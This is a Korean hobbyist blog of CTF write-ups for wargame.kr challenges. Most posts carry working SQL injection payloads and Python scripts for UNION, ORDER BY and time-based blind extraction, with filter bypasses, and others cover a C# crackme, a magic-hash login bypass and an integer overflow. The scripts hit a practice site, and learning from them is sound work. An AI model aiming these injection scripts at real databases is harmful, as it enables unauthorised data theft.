늘모자란, 개발

늘모자란, 개발


이 문제는 이 문제에서 필터링이 강화된 문제로서 거의 유사하다. 다만, 괄호를 하나도 쓸 수 없다는 정말 빡센 제약이 존재한다.
여튼 풀이 방법은 거의 유사한줄 알았는데 이렇게 내 발목을 잡을줄이야... 

 <?php
    error_reporting(0);
    
    include("./config.php"); // hidden column name
    include("../lib.php"); // auth_code function

    mysql_connect("localhost","zairo","zairo_pz");
    mysql_select_db("zairo");

    /**********************************************************************************************************************/

    function rand_string()
    {
        $string = "1234567890abcdefghijklmnopqrstuvwxyz";
        return str_shuffle($string);
    }

    function reset_flag($count_column, $flag_column)
    {
        global $count;
        $flag = rand_string();
        $query = mysql_fetch_array(mysql_query("SELECT $count_column, $flag_column FROM findflag_2"));
        $count = $query[$count_column];
        if($query[$count_column] == 150)
        {
            if(mysql_query("UPDATE findflag_2 SET $flag_column='{$flag}';"))
            {
                mysql_query("UPDATE findflag_2 SET $count_column=0;");
                echo "reset flag<hr>";
            }
            return $flag;
        }
        else
        {
            mysql_query("UPDATE findflag_2 SET $count_column=($query[$count_column] + 1);");
        }
        return $query[$flag_column];
    }

    function get_pw($pw_column){
        $query = mysql_fetch_array(mysql_query("select $pw_column from findflag_2 limit 1"));
        return $query[$pw_column];
    }

    /**********************************************************************************************************************/

    $tmp_flag = "";
    $tmp_pw = "";
    $id = $_GET['id'];
    $pw = $_GET['pw'];
    $flags = $_GET['flag'];
    $count = 0;
    if(isset($id))
    {
        if(preg_match("/information|schema|user|where|=/i", $id) || substr_count($id,"(") > 0) exit("no hack");
        if(preg_match("/information|schema|user|where|=/i", $pw) || substr_count($pw,"(") > 0) exit("no hack");
        $tmp_flag = reset_flag($count_column, $flag_column);
        $tmp_pw = get_pw($pw_column);
        $query = mysql_fetch_array(mysql_query("SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}';"));
        echo "<hr />NOW COUNT = {$count}<br />";
        if($query[$id_column])
        {
            if(isset($pw) && isset($flags) && $pw === $tmp_pw && $flags === $tmp_flag)
            {
                echo "good job!!<br />FLAG : <b>".auth_code("zairo")."</b><hr>";
            }
            else
            {
                echo "Hello ".$query[$id_column]."<hr>";
            }
        }
    }else {
        highlight_file(__FILE__);
    }
?>



패스워드 컬럼을 알아보기 위해 다음과 같이 입력한다.

?id=%27%20union%20select%201%2C&pw=%2C3%2C4%2C5%23


패스워드 컬럼을 알아냈다.
이렇게 쿼리를 짜서 보내자.

?id=%27%20union%20select%201%2CxvvcPw4coaa1sslfe%2C3%2C4%2C5%20/%2A&pw=%2A/%20from%20findflag_2%20%23


패스워드도 알아냈다.

아이디를 알아내야하는데 이 문제에서는 where과 =를 사용할 수가 없다.
고로 1=1 union 이었던걸 다음과 같이 1 like 1 로 바꿔준다.

?id=' OR 1 like 1 union select 1%2C2%2C&pw=%2C4%2C5%23


이제 대 난관인 플래그만 남았다. (를 사용할 수 없으니 서브쿼리의 사용도 어려워보인다.

그래서 시도해본건 우선 order by를 이용해보기로 했다. 원래는 order by에서도 서브쿼리를 사용할 수 있지만 괄호를 사용할 수 없으니..
error base를 사용하는 글 같은데, 그냥 착안해서.. 이렇게 생각을 해봤다.

1열에 a가 있다면,
2열에 z를 넣으면 order by에 의해서 값이 변경해지지않을까? 해서 blind로 해볼수있지 않을까 생각을 해봤는데..
정상 아스키코드값이 아니면(a~Z, 특문등) 그냥 1열을 출력하는데 그 반대의 경우는 그냥 2열을 출력했다.

urllib.quote("*/ union SELECT 1,{},3,4,5 FROM findflag_2 order by 2 limit 1 #".format(hex(j)))


이런 느낌으로 해봤는데 사실, 150번만 하면 리셋이 되버리기 때문에 이게 가능한가 생각이 들었다..그러다가 order by로 값을 order by 해보았는데 신기하게도 계속 같은 값이 나왔다. 희한했다.


data = "?id="
data = data + urllib.quote("' union select 1,2,3,4,5 from findflag_2 /*")
data = data + "&pw="
data = data + urllib.quote("*/ union select true,true,'{}{}',4,5 order by 3 desc#".format('w',string[i]))

data = data + "&flag="
data = data + urllib.quote("")

req = urllib2.Request("http://wargame.kr:8080/zairo/" + data, '', headers)
response = urllib2.urlopen(req)

res = response.read()
print res


이런 느낌이다. for문을 이용해서 하나씩 빼다가, 다른값이 나오는 값 이전의 데이터를 넣고 하나씩 돌리다보면,
wkdlfhpw (이후는 전부 z)값을 얻을 수가 있다. 그런데.. order by 3컬럼은 비밀번호였다 ㅡㅡ 이미 알고있는 값... 어처구니 미싱...
왜 굳이 3으로 했냐 돌대가리야 하면서 4로 옮겨서 돌려보기 시작했다. 돌릴때마다 리셋이 되는걸 보니 맞다.

flag값은 36자리로 정확히 정해져있으므로 한번 나온 값은 다시 나오지 않는다. 그래서 대충 코드를 이렇게 짜봤는데, 한 10자리만 돌리면 이후부턴 제대로 값을 알아내질 못한다. 예를들어 이렇게 나온다.

kvj3yha675zxwutsrqponmligfedcb098421


한 열자리까지는 정상 범주로 가는것 같다가도 남은자리를 그냥 출력해버리고 마는것이다.... 잘되다가 막힌 느낌이었다. (사실, 이게 정답인지도 모르고 하지만서도..)
짧게는 5자리에서도 그러는데, 내 생각엔 다음으로 올 아스키코드보다 큰 수가 박히게 되면 다음값을 계산못하는게 아닌가.. 그런생각을 했다.
그래서 어떻게 했느냐? 그냥 될때까지 돌려보기로 했다 (--) 돌리는 와중에 str_shuffle에 취약점이 없나 살펴보는것도 잊지 않았지만 소득은 딱히...(str_shuffle은 게싱하기 쉬운 함수라고 한다. 그럼.. 얘를 돌파할 수 있는 코드를 짜야한다는건가?;;)

한참 고민을 하다보니 10자리에서 왜 출력이 안되는지 알 수 있었다. 임의로 코드를 짜봤는데 다음과 같다

import random

s = "0123456789abcdefghijklmnopqrstuvwxyz"
sqlstr = ''.join(random.sample(s,len(s)))
string = "0123456789abcdefghijklmnopqrstuvwxyz{"
count = 0

answ = ""

while(1):
    for i in range(0,len(string)):
        condition = "{}{}".format(answ,string[i])
        print answ, string
        if sqlstr < condition:
            answ = str(answ) + str(string[(i-1)])
            string = string.replace(str(string[(i-1)]),'')
            break
        count = count + 1
    if count >= 150:
        print "\nfailed"
        print "origin:" + sqlstr
        print "found :" + answ
        print "remain:" + str(len(string)-1)
        break
    else:
        print count
    if len(answ) == 36:
        print "\ncomplete"
        print "guessed:" + answ
        print "origin :" + sqlstr
        print "match  :" + str(answ == sqlstr)
        print "count:" + str(count)
        break


내가 돌린 방법과 임의 문자열을 한개씩 매칭할때, 150번으론 택도 없다는 결론에 도달할 수 있었다.
못해도 290회, 많게는 420회까지 횟수가 필요했다.

===========

2017.01.08
새해.. 나는 이 문제를 풀고말겠다는 일념을 다졌다. 왜냐면, 아이디어 하나가 스쳐갔기때문이다.
왜 단순히 range로 생각했을까? 뭔가를 찾으려면 바이너리 서치를 하면되는데..
다만 이 경우에는 완전히 match를 구분할 수 있는 방법이 없기때문에 넘겨 짚었던것 같다. 어쨌든, match 없이 string을 찾는 python code를 작성해봤다. (첨작성한것과 jake가 작성한거랑 다름)

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from random import sample
from copy import deepcopy

s = "0123456789abcdefghijklmnopqrstuvwxyz"
chars = list(s)[::-1]
secret = ''.join(sample(s, len(s)))
ans = ""
comp = 0

while True and len(chars):
  lo = 0
  hi = len(chars)
  guessed = []
  while lo <= hi:
    mid = (lo + hi) // 2
    char = chars[mid]
    if char in guessed:
      ans += char
      chars.remove(char)
      break
    charless = deepcopy(chars)
    charless.remove(char)
    guess = "{0}{1}{2}".format(ans, char, ''.join(charless))
    guessed.append(char)
    if lo == hi:
      ans += char
      chars.remove(char)
    elif secret > guess:
      hi = mid
    else:
      lo = mid
    comp += 1
    print "{0}\t{1}\t{2}\t{3}\t{4}\t{5}".format(secret, guess, hi, lo, mid, comp)


잘나온다. 심지어 150번안에 수행완료..
물론, 위코드처럼 돌리면 횟수가 딸리는데, 어쨌든 바이너리서치형태로 만들어서 시도하면 문제 정복에 성공할 수 있다.

#!/usr/bin/env python
# -*- coding: utf8 -*-

import re, sys, time, urllib, urllib2

headers = {'Host': 'wargame.kr:8080'}
s = "0123456789abcdefghijklmnopqrstuvwxyz"
chars = list(s)[::-1]
ans = ""

while True and len(chars):
    lo = 0
    hi = len(chars)
    guessed = []
    while lo <= hi:
        time.sleep(0.01)
        mid = (lo + hi) // 2
        char = chars[mid]
        if char in guessed:
            ans += char
            chars.remove(char)
            break
        charless = list(chars)
        charless.remove(char)
        guess = "{0}{1}{2}".format(ans, char, ''.join(charless))
        guessed.append(char)
        
        id = urllib.quote("'UNION SELECT * FROM findflag_2/*")
        pw = urllib.quote("*/UNION SELECT 1,2,3,\"{}\",5 ORDER BY 4 ASC#".format(guess))
        data = "?id={0}&pw={1}&flag=".format(id, pw)
        
        req = urllib2.Request("http://wargame.kr:8080/zairo/" + data, '', headers)
        response = urllib2.urlopen(req)
        res = response.read()
        count = re.findall(r"NOW COUNT = (\d+)", res)[0]
        
        if "reset" in res:
            sys.exit("[!] FAILED: FLAG RESET")
        
        if "zairowkdlfhdkel" in res:
            lo = mid
        else:
            hi = mid
        
        print "{0}\t{1}\t{2}\t{3}\t{4}".format(guess, hi, lo, mid, count)
    pass
req = urllib2.Request("http://wargame.kr:8080/zairo/?id=zairowkdlfhdkel&pw=wkdlfhpw!!@%%%23@@%23&flag={0}".format(guess), '', headers)
response = urllib2.urlopen(req).read()
flag = re.findall(r"FLAG : <b>([0-9a-f]+)</b>", response)
print "[*] OUR GUESS: {0}".format(guess)
print "[!] SUCCESS! FLAG: {0}".format(flag[0])


개인시간도 부족하고 헤매서 오래 걸렸는데 괜히 감회가 새로운 느낌이다. 888점 획득!

2016/06/22 03:27 2016/06/22 03:27
Simple Reverse Engineering.

Can you Reversing for C# Application?


c# 크랙미라고 한다. c#은 리플렉터라고 해서 디컴파일러가 정말 개짱많다. 아무거나 구해서 열어보기로 했다

main은 이렇게 이루어져있다

private static void Main(string[] args)
{
    Console.Write("Input your name : ");
    string name = Console.ReadLine();
    Console.Write("Password : ");
    string str2 = myEncrypt(Console.ReadLine(), name);
    if ((name == "BluSH4G") && myCmp(str2, getps(name)))
    {
        Console.WriteLine("\n::Congratulation xD ::\n");
    }
    else
    {
        Console.WriteLine("\n:: WTF AUTH FAILED ::\n");
    }
}


name은 BluSH4G 라고 한다.
그런데 비밀번호는 myEncrpyt에 name을 넣은값을 입력해야한다고 한다. 안볼수 없지

private static string myEncrypt(string strKey, string name)
{
    DESCryptoServiceProvider provider = new DESCryptoServiceProvider();
    provider.Mode = CipherMode.ECB;
    provider.Padding = PaddingMode.PKCS7;
    byte[] bytes = Encoding.ASCII.GetBytes(mPadding(name));
    provider.Key = bytes;
    provider.IV = bytes;
    MemoryStream stream = new MemoryStream();
    CryptoStream stream2 = new CryptoStream(stream, provider.CreateEncryptor(), CryptoStreamMode.Write);
    byte[] buffer = Encoding.UTF8.GetBytes(strKey.ToCharArray());
    stream2.Write(buffer, 0, buffer.Length);
    stream2.FlushFinalBlock();
    string str = Convert.ToBase64String(stream.ToArray());
    stream2 = null;
    stream = null;
    provider = null;
    return str;
}


myEncrpyt는 이렇게 생겼다.
서버에 아이디를 넣어 호출해주면 비밀번호가 돌아오는데(getps) 비밀번호가 매치하도록 작성해야하는것 같다.
역시 서버를 통하기때문에 전사공격은 어려워보인다. 우선 스니핑을해서 name을 입력했을때 돌아오는 값을 확인해 저장해두었다.

먼저 myEncrpyt function을 분석해봐야 할 것 같다.

먼저 bytes에 name을 꾸겨넣는데 mPadding을 거친다

private static string mPadding(string s)
{
    int length = s.Length;
    if (length != 8)
    {
        if (length > 8)
        {
            return s.Substring(length - 8);
        }
        for (int i = 0; i < (8 - length); i++)
        {
            s = s + "*";
        }
    }
    return s;
}


name은 BluSH4G 이니 7자이다. 고로 8자가 될때까지 *를 붙이는 패딩을 수행한다. 7자이므로 8자까지 채워
BluSH4G* 가 되었다
그 이후 key와 IV는 동일하기 때문에 이제 DES를 decrypt 하면 된다.
나는 des decrpyt online 뭐 이런식으로 검색했던거 같다. MODE는 소스코드상에 ECB라고 나와있으니 선택하고..

답이 나왔다.

2016/06/15 21:05 2016/06/15 21:05
SQL injection Challenge!
(injection)

- thx to adm1nkyj


역대급으로 오래 걸린 문제이다 ㅡㅡ

이 문제는 들어오자마자 대뜸 소스부터 보여준다
잘못들어온게 아닌가 다시 볼정도로 당황했다...

<?php
    error_reporting(0);
    
    include("./config.php"); // hidden column name
    include("../lib.php"); // auth_code function

    mysql_connect("localhost","adm1nkyj","adm1nkyj_pz");
    mysql_select_db("adm1nkyj");

    /**********************************************************************************************************************/

    function rand_string()
    {
        $string = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz";
        return str_shuffle($string);
    }

    function reset_flag($count_column, $flag_column)
    {
        $flag = rand_string();
        $query = mysql_fetch_array(mysql_query("SELECT $count_column, $flag_column FROM findflag_2"));
        if($query[$count_column] == 150)
        {
            if(mysql_query("UPDATE findflag_2 SET $flag_column='{$flag}';"))
            {
                mysql_query("UPDATE findflag_2 SET $count_column=0;");
                echo "reset flag<hr>";
            }
            return $flag;
        }
        else
        {
            mysql_query("UPDATE findflag_2 SET $count_column=($query[$count_column] + 1);");
        }
        return $query[$flag_column];
    }

    function get_pw($pw_column){
        $query = mysql_fetch_array(mysql_query("select $pw_column from findflag_2 limit 1"));
        return $query[$pw_column];
    }

    /**********************************************************************************************************************/

    $tmp_flag = "";
    $tmp_pw = "";
    $id = $_GET['id'];
    $pw = $_GET['pw'];
    $flags = $_GET['flag'];
    if(isset($id))
    {
        if(preg_match("/information|schema|user/i", $id) || substr_count($id,"(") > 1) exit("no hack");
        if(preg_match("/information|schema|user/i", $pw) || substr_count($pw,"(") > 1) exit("no hack");
        $tmp_flag = reset_flag($count_column, $flag_column);
        $tmp_pw = get_pw($pw_column);
        $query = mysql_fetch_array(mysql_query("SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}';"));
        if($query[$id_column])
        {
            if(isset($pw) && isset($flags) && $pw === $tmp_pw && $flags === $tmp_flag)
            {
                echo "good job!!<br />FLAG : <b>".auth_code("adm1nkyj")."</b><hr>";
            }
            else
            {
                echo "Hello ".$query[$id_column]."<hr>";
            }
        }
    } else {
        highlight_file(__FILE__);
    }
?>


어쨌든 쿼리를 파괴(?)해야하는데 많은 시도를 해야될 것 같기 때문에 간단한 python 코드를 작성했다.

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2, time

headers = {'Host': 'wargame.kr:8080'}

data = "?id="
data = data + urllib.quote("")
data = data + "&pw="
data = data + urllib.quote("")

req = urllib2.Request("http://wargame.kr:8080/adm1nkyj/" + data, '', headers)
response = urllib2.urlopen(req)

res = response.read()
print len(res), res


요렇게..
len을 굳이 붙인 이유는 틀리면 아무것도 반환이 안되기 때문이다.

어쨌든 처음부터 보면, 가장 처음에 id와 pw에 값을 넣어 쿼리를 부셔볼 수 있다.

다음과 같이 쿼리를 작성한다.

?id=%27%20union%20select%201%2C&pw=%2C3%2C4%2C5%23


union을 이용해서 중간에 강제로 ' ' 를 만들어 php 변수를 출력시키는건데, 요렇게 하면
Hello  and <hr>


와 같은 꼴로 pw의 컬럼을 알 수 있게 된다.
pw를 알아내기 위해선 서브쿼리를 이용해서 다음과 같이 날려준다.

?id=%27%20union%20select%201%2C%28select%20xPw4coaa1sslfe%20from%20findflag_2%29%2C&pw=%2C4%2C5%23


자, 이제 아이디를 알아내야할 시간이다.

?id=%27%20OR%201%3D1%20union%20select%201%2C2%2C&pw=%2C4%2C5%23


이렇게 날려주면 쿼리가 '' 가 참이 되어 성립하기 때문에 id의 값을 알 수 있다.
다만, 컬럼이름은.. 알기 어려운것 같고. (이 문제에선 못알아낼듯)

아이디와 비밀번호를 모두 취득했지만, 하나의 난관이 더 남아있다. 바로 flag..
150번시도하면 리셋을 시키는통에 전사공격도 불가능하다. 어떻게 해야할까...

flag를 알아내보기위해 정말 많이 검색을 해봤는데 잘 모르겠다. 블라인드 유니온 인젝션이라고 해야할까?;
그와중에 이런걸 찾았는데 별 도움은 안되었다.

CONCAT(0x27,0x7c,0x5f,0x7c)


역시 procedure analyse()  도 안먹혔다. 도대체 뭐야 ... 하고 생각하다가
문득 이런생각을 했다

select를 할때, 동일한 알리아스를 사용하는 컬럼과, 테이블 셋이 있다면 어떻게 될까?
테이블을 select 할 수 없으니 같은 이름의 알리아스를 찾을테고, 걔를 셀렉트 하지 않을까?
그래서 다음과 같이 코드를 작성했다

select concat(x,'x')
from
(
  select 1,2,3,4 as x,5
  union 
  select * from TABLE
) as x


놀랍게도 4x 밑으로 내가 원한 컬럼들이 주욱 나열된다. 고로 이 트릭을 이용해 문제를 풀어보자.

data = "?id="
data = data + urllib.quote("' union select 1,b,3,4,5 /*")
data = data + "&pw="
data = data + urllib.quote("*/ from (select 1,2,3,4 as b,5 union select * from findflag_2) as b limit 1,1#")


이렇게 하면 flag를 얻을 수 있다. 여기까지 풀고 좋아죽을뻔했지만...
플래그는 답이 아니다. 침착하게 얻어낸 아이디, 비밀번호, 플래그를 보내주고 마무리 짓자.
정말 며칠을 고민했는지 끙끙거리며 산것 같다... 개념을 알았으니 좀 더 advanced한 Zairo에 도전해볼차례가 되었다!
2016/06/14 03:27 2016/06/14 03:27
This challenge is part of Just For Fun [Season3].

- thx to Comma@LeaveRet


jff3_magic 이란 무엇인가....
일단 문제에 들어가면 뭘해도 history.back(-1) 하고 있다. 뭘 눌러도 뒤로 간다. 그런데 이게 힌트라고 한다.
그렇다면, 레퍼러를 조작하면 들어갈 수 있을 것 같은 기분이 들었고 레퍼러를 이용해서 coomma나 orang 같은 페이지에 접근할 수 있었다. 그런데 그 이상은 감이 잘 안잡혔다...

no에 5 or 1를 넣으니 id 위칸에 있던 내용이 no hack 으로 변경되는것을 확인했다.
결국 no를 이용한 인젝션 문제 인것 같다

필터링 우회를 위해 5||1 를 입력하니 admin으로 나온다.

그래서 5||substr(... 이런식으로 쿼리를 짜서 한글자씩 비교하려니 no hack이라고 나온다. substr를 쓸 수 없다면.. 뭘로 해야하지?;
information.shcema 도 볼 수 없고.. 0x 로 시작하는 hex글자도 넣을 수가 없다
결국 직접적으로 컬럼 이름 알아내는건 어려울 것 같고, 그냥 pw라고 적혀있으니 pw로 사용해보기로 한다 ㅡㅡ

length는 막혀 있지 않은데,
substr, mid, left, right 뭐 다 막혀있다

그런데 기가 막히게 CHAR이 된다. 하하하 땡잡은 기분이다.

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2, time


headers = {'Host': 'wargame.kr:8080'}


print "FIND PASSWORD"

pw = ""
pw2 = ""
for i in range(1,33):
    for j in range(47,91):
        data = "5||"
        data = data + "pw like CHAR({}{},{})".format(pw,ord(chr(j)),ord("%"))
        

        #print data
        data = urllib.quote(data)

        req = urllib2.Request("http://wargame.kr:8080/jff3_magic/?no=" + data, '', headers)
        response = urllib2.urlopen(req)

        res = response.read()
        #print res

        if "admin" in res:
            print j, chr(j)
            pw2 = pw2 + chr(j)
            pw = pw + str(ord(chr(j))) + ","
print pw2


그런데 비밀번호로 로그인하려니 incorrect하다고 한다. 이게 무슨소리지?
그리고 incorrect password라면서 뭔가 이상한 해쉬가 나온다.

1을 넣고 검색해보니
50034bd20ef09138e2ff633365ea6879 란 값이 나오는데, 구글에 검색해보니 (Haval128,5) 이라는 걸로 해쉬화된것이라고 한다.
이건 또 뭐야..

그래서 검색을 좀 해보니 우리가 따낸 0E 어쩌고 hash. 어디서 본적이 있지 않나? 바로 이 문제에서 봤다.
0E로 시작하면 지수화 되버려서 magic hash가 된다고 한다. 그럼 0E로 만들어지는 haval128,5을 찾아보자
딱 하나 있다. 이걸 입력해주면!! 클리어!







2016/06/14 00:57 2016/06/14 00:57
Time based SQLi challenge. (with Insert Query)

you can't see the result after insert query.
but you can SQLi Attack!


우리는 결과가 리턴되지 않는 상태에서의 sqli 를 해본적이 있다.
아마 비슷한것일거라 생각하고 가벼운 마음으로 문제를 눌렀다

3개의 메뉴가 있는데 첫메뉴, 두번째 메뉴는 그냥 자바스크립트이고 따로 서버에 리퀘스트를 보내지 않는다.
마지막 메뉴는 마스터에게 건의사항을 보내는 란인데 역시 따로 리턴값이 없다. 아무래도 여길 이용해야 할 것 같다

총 세개의 POST 폼이 있는데

cont=input+contents%21&mail=guest&type=1

CONT
MAIL
TYPE
이다. 여기서 sleep을 각자 넣어봤는데 유일하게 TYPE에서 페이지 지연을 발견했다.

IF(1=1,sleep(1),1)


여기가 포인트인것 같으니 노려보자. 이렇게 스크립트를 작성한다.

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2, time


headers = {'Host': 'wargame.kr:8080'}


for j in range(1,12):
    data = "cont=input+contents%21&mail=1&type=IF(1=1,sleep(0.5),1)"
    #print data
    #data = urllib.quote(data)

    req = urllib2.Request("http://wargame.kr:8080/qna/?page=to_jsmaster", data, headers)
    response = urllib2.urlopen(req)
    start_time = time.time()
    response = urllib2.urlopen(req).read()
    times = time.time() - start_time

    print times


여기서 반환되는 times가 0.5 이상이면, TRUE라고 할 수 있다.
여유있게 0.5를 줬지만 실제는 0.2 정도로 짧게 하는게 좋다. 우리의 시간은 소중하니까...

이제 테이블 길이를 알아내보자

"IF((select length(table_name) from information_schema.tables where table_Type=0x{} limit 0,1)={},sleep(0.5),1)".format("BASE TABLE".encode('hex'),j)


이런식으로 구성하면 된다.
처음 발견한 테이블은 message 라는 테이블인데 이건 쓸모 없다.
하여튼 테이블을 얻어 내고 차근차근하면 된다

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2, time


headers = {'Host': 'wargame.kr:8080'}


print "FIND TABLE LENGTH"

for j in range(1,8):
    data = "cont=input+contents%21&mail=1&type="
    data = data + "IF((select length(table_name) from information_schema.tables where table_Type=0x{} limit 0,1)={},sleep(0.5),1)".format("BASE TABLE".encode('hex'),j)

    #print data
    #data = urllib.quote(data)

    req = urllib2.Request("http://wargame.kr:8080/qna/?page=to_jsmaster", data, headers)
    response = urllib2.urlopen(req)
    start_time = time.time()
    response = urllib2.urlopen(req).read()
    times = time.time() - start_time

    if times > 0.4:
        print "TABLE LENGTH", j

#7

print
print "FIND TABLE NAME"


for i in range(1,8):
    for j in range(32,123):
        data = "cont=input+contents%21&mail=1&type="
        data = data + "if((select substr(table_name,{},1) from information_schema.tables where table_type=0x{} limit 0,1)={},sleep(0.5),1)".format(i,"BASE TABLE".encode('hex'),hex(j))

        req = urllib2.Request("http://wargame.kr:8080/qna/?page=to_jsmaster", data, headers)
        response = urllib2.urlopen(req)
        start_time = time.time()
        response = urllib2.urlopen(req).read()
        times = time.time() - start_time

        if times > 0.4:
            print "FOUND", chr(j)
#authkey

print 
print "FIND COLUMN NAME"


for k in range(0,6):
    for i in range(1,20):
        for j in range(32,123):
            data = "cont=input+contents%21&mail=1&type="
            data = data + "if((select substr(column_name,{},1) from information_schema.columns where table_name = 0x{} limit {},1)={},sleep(0.5),1)".format(i,"authkey".encode('hex'),k,hex(j))

            req = urllib2.Request("http://wargame.kr:8080/qna/?page=to_jsmaster", data, headers)
            response = urllib2.urlopen(req)
            start_time = time.time()
            response = urllib2.urlopen(req).read()
            times = time.time() - start_time

            if times > 0.4:
                print "FOUND", chr(j)

print 
print "FIND KEY"

pw = ''
for i in range(1,50):
    for j in range(32,91):
        data = "cont=input+contents%21&mail=1&type="
        data = data + "if((select substr(authkey,{},1) from authkey)={},sleep(0.5),1)".format(i,hex(j))

        req = urllib2.Request("http://wargame.kr:8080/qna/?page=to_jsmaster", data, headers)
        response = urllib2.urlopen(req)
        start_time = time.time()
        response = urllib2.urlopen(req).read()
        times = time.time() - start_time

        if times > 0.4:
            print "FOUND", chr(j)
            pw = pw + chr(j)
print pw



2016/06/13 22:54 2016/06/13 22:54
Simple Reverse Engineering Challenge.


리버싱 문제는 풀 생각이 없었지만 어쩌다가 첫 문제를 풀었기때문에 이번에도 할 수 있지 않을까 하는 생각이 들어서 시도해보게 되었다
첫번째 문제와 마찬가지로 entry point를 찾기 위해 string을 조회해 엔트리 포인트를 찾아냈다.

버튼은 되게 많은데 사실 리버싱에서 버튼이란게 의미가 있나 싶기도...
어쨌든 AUTH의 이벤트에 대해서 확인을 하기위해 이렇게 수행했다
엔트리 포인트는 01051745 였다

여기서 보다보니

0BADBABE 라는 값을 cmp 하고 있는걸 발견했다.

>>> 0xBADBABE
195934910


물론 이대로 입력하니 안된다.



찾아보니 JE는 IF처럼 쓰이는것이라고 한다. 실제로 화살표가 쳐줘서 맞는 값이면 congrats... 로 이동하게 되어 있다.
그럼 195934910 이란 값과 비교하고 있는 EDI가 뭔지 알면될 것 같다.

바로 위를 보니
ADD EDI,EAX
라고 되어 있었다. 즉, 순서대로 가보면 EDI에 EAX를 더한값이 195934910 이 되야 한다는것.

여기까지 보고 든 생각이 그럼 195934910 부터 적당히 한자리쯤 빼고 더하기 올리면 되는거 아닌가 이생각을 했는데,
서버 페이지에 sleep 이 걸려있다. 것도 한 1초는 되는것 같다. 날 샐거같으니 권하지 않는다. 꼼수말고 정공법으로...ㅠㅠ

처음엔 입력하는 값이 아무 상관없는 줄 알았다. 그래서 JE를 JMP로 바꿔서 어셈블시켜보고했는데 계산값을 보내기 때문에 결국 정답이 필요하다.
그런데, 195934910 값을 입력 후 break point를 걸면 EDI값을 알아낼 수 있지 않을까? 생각했고
EDI 값이 나왔다.

그래서 195934910 값에서 EDI를 빼서 차를 구한후, 이 값을 다시 195934910 에 더해줘서 입력하니 패스되었다.
헤매고 있다가 한번의 입력으로 왠지 구원받은 느낌... 그래서 브레이크 포인트엔 스스로 잘 접근한것 같다.
2016/06/13 22:53 2016/06/13 22:53
do you know "integer type" of 32bit application?


힌트부터가 영 이상하다. 불길하다.

<?php
 if (isset($_GET['view-source'])) {
     show_source(__FILE__);
    exit();
 }
 require("../lib.php"); // include for auth_code function.
 if(isset($_POST['d1']) && isset($_POST['d2'])){
  $input1=(int)$_POST['d1'];
  $input2=(int)$_POST['d2'];
  if(!is_file("/tmp/p7")){exec("gcc -o /tmp/p7 ./p7.c");}
  $result=exec("/tmp/p7 ".$input1);
  if($result!=1 && $result==$input2){echo auth_code("php? c?");}else{echo "try again!";}
 }else{echo ":p";}
?>


d1과 d2는 반드시 필요한데, 강제로 int로 형변환을 하고 있다.
전혀 감 잡히는 바가 없기때문에 int 취약점에 대해서 검색해봤는데, 첨에 생각한건 32bit 라면 int가 2147483647 이상 올라가지 않아서 오버플로우 될것이라고 생각했다. 그래서 자릿수를 높여서 적어봤는데 되진 않았다.

이 경로에 p7.c가 있다니 접근해보니 소스를 얻을 수 있었다

#include <stdio.h>
#include <stdlib.h>
void nono();
int main(int argc,char **argv){
 int i;
 if(argc!=2){nono();}
 i=atoi(argv[1]);
 if(i<0){nono();}
 i=i+5;
 if(i>4){nono();}
 if(i<5){printf("%d",i);}
 return 0;
}
void nono(){
  printf("%d",1);
  exit(1);
}


컴파일해보았다. 그 이후 오버플로우가 발생하도록 int의 최대자리를 넣어보았다.


gcc p7.c
./a.out 2147483647


그러자 띠용.. 생각도 못한 값이 나왔다. 야매로 하다간 밤샐뻔했다. 나오는 숫자를 보내주면 키가 반환된다.
2016/06/13 22:52 2016/06/13 22:52
Blind SQLi challenge.

You can use 'Ascii' to 'Date'


들어가면 표가 하나 반겨준다. idx와 아이피가 적혀있는데 이건 쓸데 없어보이고, admin 페이지가 있다고 하여 들어가보니 로그인창만 있다.
특별한건 없어보이고, POST값을 넘겨줘 로그인하는 개념인것같다. 몇번 해보다가 아무 단서도 없기때문에 여기서 하는게 아니고, 표를 클릭해 얻을 수 있는 정보로 로그인을 해야할 것 같다.

표를 누르면 chk.php 에서 idx를 확인하게 되는데, idx에서 and 1=1 , and 1=0 을 보내니 결과가 다르게 리턴됨을 확인했다.
즉, sqli 가 가능하다는 말이다.


먼저 length를 체크하고 돌려봤는데 이 과정에서 information_schema에 base table로 선택하게 했더니 잘 선택되지 않았다.
(CHARSET을 위해서 몇분을 날림 ㅠㅠ 나중에 깨달았다..)

hex로했는데도 IF값이 false만 나오는거보니 뭔가 있는것 같다.
그래서 WHERE대신에 order by table_type을 해주기로 했다. 어차피 전부 SYSTEM 일테니까 BASE TABLE이 제일 위에 올거라는 생각이었다.
그리고 그 생각이 맞았나 드디어 제대로 된 값이 리턴되었다. (왜 안될까 ㅠㅠ)

결과가 조금 이상하게 나왔지만 충분히 유추가능한 범위여서 괜찮았다. 페이지에 브루트포스를 막는 용도인지 sleep 이 걸려있기때문에 느긋하게 풀어야한다;

컬럼은 idx, id, ps 인데 괜한 삽질하지 않았으면 하는 마음에 적는다. (너무 오래걸린다)

한참 걸려서 다 알아내고 어드민페이지에서 로그인하면 키가 나온다.

코드는 따로 지우지 않았으니 보고 싶은 사람만..

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2, time


headers = {'Host': 'wargame.kr:8080'}


for j in range(10,12):
    data = "if((select length(table_name) from information_schema.tables order by table_type limit 0,1)={},15078,1)".format(j)
    #print data
    data = urllib.quote(data)

    req = urllib2.Request("http://wargame.kr:8080/ip_log_table/chk.php ", "idx=" + data, headers)
    response = urllib2.urlopen(req)
    if "1970" not in response.read():
   print "TABLE LENGTH: {}".format(j)


for i in range(1,15):
for j in range(32,127):
   data = "if((select substr(table_name,{},1) from information_schema.tables order by table_type limit 0,1)={},15078,1)".format(i,hex(j))
   #print data
   data = urllib.quote(data)

   req = urllib2.Request("http://wargame.kr:8080/ip_log_table/chk.php ", "idx=" + data, headers)
   response = urllib2.urlopen(req)
   if "1970" not in response.read():
   print "TABLE NAME FOUND: {}".format(chr(j))

for k in range(0,10):
for i in range(1,15):
